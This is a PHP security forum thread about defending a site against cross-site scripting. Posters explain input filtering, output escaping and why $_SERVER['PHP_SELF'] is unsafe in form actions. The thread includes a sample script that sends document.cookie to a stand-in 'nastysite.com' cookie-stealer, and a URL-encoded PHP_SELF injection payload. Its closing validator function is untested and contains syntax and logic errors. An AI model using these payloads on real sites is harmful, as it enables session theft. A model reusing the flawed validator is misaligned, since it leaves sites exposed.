xss help

Discussions of secure PHP coding. Security in software is important, so don't be afraid to ask. And when answering: be anal. Nitpick. No security vulnerability is too small.

Moderator: General Moderators

User avatar
s.dot
Tranquility In Moderation
Posts: 5001
Joined: Sun Feb 06, 2005 7:18 pm
Location: Indiana

xss help

Post by s.dot »

I need to speak with someone, preferrably on a messenger, who knows how to exploit a site using xss. I am new in this field, and if I could find someone who would exploit my site, in a non-harmful manner, I could learn how to fix it.

Gotta start somewhere. :-/

Please send me a private message.
Set Search Time - A google chrome extension. When you search only results from the past year (or set time period) are displayed. Helps tremendously when using new technologies to avoid outdated results.
User avatar
Jenk
DevNet Master
Posts: 3587
Joined: Mon Sep 19, 2005 6:24 am
Location: London

Post by Jenk »

It's all to do with input sanitisation.

Put up the details here and I am sure people will be happy to help :)

If you are worried about HTML injection, such as the following user input:

Code: Select all

<script language='JavaScript'>
window.location('http://www.nastysite.com/cookiestealer.php?c=' + document.cookie);
</script>
then filtering out html char's would be a need :)
User avatar
s.dot
Tranquility In Moderation
Posts: 5001
Joined: Sun Feb 06, 2005 7:18 pm
Location: Indiana

Post by s.dot »

Well, I allow HTML.

But I have written several functions which filter out all javascript (extensively tested.. to the best of my knowledge) and it works pretty good.

I guess I am just scared of the unknown. I'm not exactly sure what XSS is, although I've been reading up on it tonight.

I'm guessing javascript isn't the only way it can be done?

I've seen some examples of people putting javascript in the URL, like http://www.domain.com/a.php?variable="> ... ';</script>

I'm not sure how to protect against that, or if I need to.

Other than a certain page, all content is escaped using mysql_real_escape_string and is switched to entities using htmlentities().

On the one page where I do allow HTML, I run it through my functions for stripping javascript, but I am not sure this is enough.
Set Search Time - A google chrome extension. When you search only results from the past year (or set time period) are displayed. Helps tremendously when using new technologies to avoid outdated results.
User avatar
Jenk
DevNet Master
Posts: 3587
Joined: Mon Sep 19, 2005 6:24 am
Location: London

Post by Jenk »

allowing HTML, but not JavaScript can still be exploited, there is of course the creating of a simple link that will entice users to click, which can be to a malicious link.

the other, is the use of frames, or iframes, where the source (href) is malicious.
User avatar
Maugrim_The_Reaper
DevNet Master
Posts: 2704
Joined: Tue Nov 02, 2004 5:43 am
Location: Ireland

Post by Maugrim_The_Reaper »

I've seen some examples of people putting javascript in the URL, like http://www.domain.com/a.php?variable="> ... ';</script>
Be wary of using $_SERVER['PHP_SELF'], especially in a form's "action" attribute. Use SCRIPT_NAME, etc. instead.

Might be worth your while to look up a few third party libraries that claim to strip out XSS strings, e.g. safeHTML by pixelapes. Even reading through the classes would be an eye opener. It's more applicable to blocks of text input but it can be used in other cases also.

The most important rule is to filter all input - make sure it's all what you expected. Also remove any input which is invalid for the current request. The way I do it is to use a Filter class to perform the filtering, and for each possible page request have a definition/rules file which lays out the input keys expected, the data type, length, etc. On a page request I call the Filter, pass it the rules, and it will filter the GET/POST superglobals.

Second part is to escape all output - you seem to be doing that so no elaboration ;) If you want a closer look at my method just drop me a PM, I won't post it because it's incomplete in two places.
User avatar
Jenk
DevNet Master
Posts: 3587
Joined: Mon Sep 19, 2005 6:24 am
Location: London

Post by Jenk »

Maugrim_The_Reaper wrote:Be wary of using $_SERVER['PHP_SELF'], especially in a form's "action" attribute. Use SCRIPT_NAME, etc. instead.
Are you sure you have that the right way round? You don't want to be using SCRIPT_NAME, which gives the full absolute path to the current file, in the action attribute.. you'd want to use PHP_SELF which gives the path, relative to the document root.
User avatar
Maugrim_The_Reaper
DevNet Master
Posts: 2704
Joined: Tue Nov 02, 2004 5:43 am
Location: Ireland

Post by Maugrim_The_Reaper »

No, I'm right. Do not trust $_SERVER['PHP_SELF']. I'll explain why and try digging out a reference on Google if I can find one.

Basically you can very easily taint PHP_SELF by exploiting the url to a given form. If you have a form of the type:

Code: Select all

<form method="post" action="<?php echo($_SERVER['PHP_SELF']); ?>">
You can reach this by url using:

Code: Select all

http://localhost/form.php/end%22+%2F%3E%3Cscript%3Ealert%28%27Bad+Things+Happen%27%29%3C%2Fscript%3E
This url encoded string states:

end" /><script>alert('Bad Things Happen')</script>

This will end the form, and start a new HTML tag - the script tag holding our XSS instruction in javascript. If you look at the url you'll spot the trailing slash after the PHP filename. It should look familiar as the short url setup you see using Apache. The obviously bad tag remainder is ignored in many cases - after all who cares about malformed HTML? ;)

You have now wound up with a nice little XSS exploit whereby anyone could post a link to your form using the tainted URL containing a valid script block. It will taint PHP_SELF, run the script on the visitor's browser and do whatever bad things were setup.

On that basis I suggested using SCRIPT_NAME - I should have noted using a manipulation to pull out the filename only.

It's interesting to note that ALL user input must be filtered - and that includes the $_SERVER variables whose origins are questionable and whose PHP manual entires are misleading (they're not entirely server sourced!).

This seems to be the most referenced Google entry: http://blog.phpdoc.info/archives/13-XSS-Woes.html I'm pretty sure Chris Shiflett had something too - but can't remember where.
User avatar
Jenk
DevNet Master
Posts: 3587
Joined: Mon Sep 19, 2005 6:24 am
Location: London

Post by Jenk »

I didn't realise $_SERVER['PHP_SELF'] was generated from the URI, I thought it was generated in the same way $_SERVER['SCRIPT_NAME'] (or __FILE__) is generated, i.e. from backend, not client request.
User avatar
Maugrim_The_Reaper
DevNet Master
Posts: 2704
Joined: Tue Nov 02, 2004 5:43 am
Location: Ireland

Post by Maugrim_The_Reaper »

Like I said - SERVER is questionable, and not well documented as to the source. I pretty much distrust anything from SERVER, probably overkill but there's no denying you can indeed taint PHP_SELF though the url... Where there's one...
timvw
DevNet Master
Posts: 4897
Joined: Mon Jan 19, 2004 11:11 pm
Location: Leuven, Belgium

Post by timvw »

As usual, if you want to be sure... consider everything in $_SERVER tainted.. Better safe than sorry.
User avatar
Jenk
DevNet Master
Posts: 3587
Joined: Mon Sep 19, 2005 6:24 am
Location: London

Post by Jenk »

then SCRIPT_NAME and DOCUMENT_ROOT are tainted aswell.
User avatar
s.dot
Tranquility In Moderation
Posts: 5001
Joined: Sun Feb 06, 2005 7:18 pm
Location: Indiana

Post by s.dot »

The $_SERVER argument is moot in my case, as I don't often use server variables (ie $_SERVER['PHP_SELF']) but makes an interesting topic of discussion.
Set Search Time - A google chrome extension. When you search only results from the past year (or set time period) are displayed. Helps tremendously when using new technologies to avoid outdated results.
User avatar
Jenk
DevNet Master
Posts: 3587
Joined: Mon Sep 19, 2005 6:24 am
Location: London

Post by Jenk »

I would like to continue this discussion, regarding $_SERVER superglobal, but as this is not the thread for it, I will not continue it here :)

I'll also do the usual of searching etc. before I post anything. :)
User avatar
Chris Corbyn
Breakbeat Nuttzer
Posts: 13098
Joined: Wed Mar 24, 2004 7:57 am
Location: Melbourne, Australia

Post by Chris Corbyn »

Hmm... well that's taught me something new :)

I use PHP_SELF everywhere :? I knew it didn't pull out the QUERY_STRING with it but obviously putting the trailing slash in the URL taints the behaviour. Time to do some recoding. Thanks for the heads-up Maugrim :D
User avatar
Chris Corbyn
Breakbeat Nuttzer
Posts: 13098
Joined: Wed Mar 24, 2004 7:57 am
Location: Melbourne, Australia

Post by Chris Corbyn »

Code: Select all

// @ $typelist "type1 varname1[, varname2 [, .....]]; type2 varname...."
function ExpectedVarTypes($typelist, $where)
{
		
	$type_pairs = preg_split('/\s*\;\s*/', $typelist);
	foreach ($type_pairs as $tp)
	{
		preg_match('/^\s*([a-z]+)\s+([\w,\s]+)$/i', $tp, $parts);
		$type = $parts[1];
		$vars = preg_split('/\s*,\s*/', $parts[2]);
		foreach ($vars as $v)
		{
			if (isset($where[$v))
			{
				switch (strtolower($type))
				{
					case 'int': if (!is_int($where[$v])) return false;
					case 'numeric': if (!is_numeric($where[$v])) return false;
					case 'float': if (!is_float($where[$v])) return false;
					case 'string': if (!is_string($where[$v])) return false;
					case 'nohtml': if (preg_match('@<[^>]+>@s', $where[$v])) return false;
					case 'noscript': if (preg_match('@<\s*script\b[^>]*>.*?<\s*/\s*script[^>]*>@is', $where[$v])) return false;
				}
			} //End if
		} //End foreach
	}
	return true;
}
Something I just knocked up quickly. I haven't tested it properly but it can be worked on anyway. Check the URL or POST, or REQUEST etc to see if you have what you were expecting...

Example: A URL like this http://mysite.tld?foo.php?somevar=xxx&a ... estvar=123

foo.php

Code: Select all

if (!ExpectedVarTypes('int somevar, testvar; nohtml anothervar', $_GET)) die("Are yo' some kinda cracker or something? ");
It'll need some work to be thorough enough but the idea is on :D
Post Reply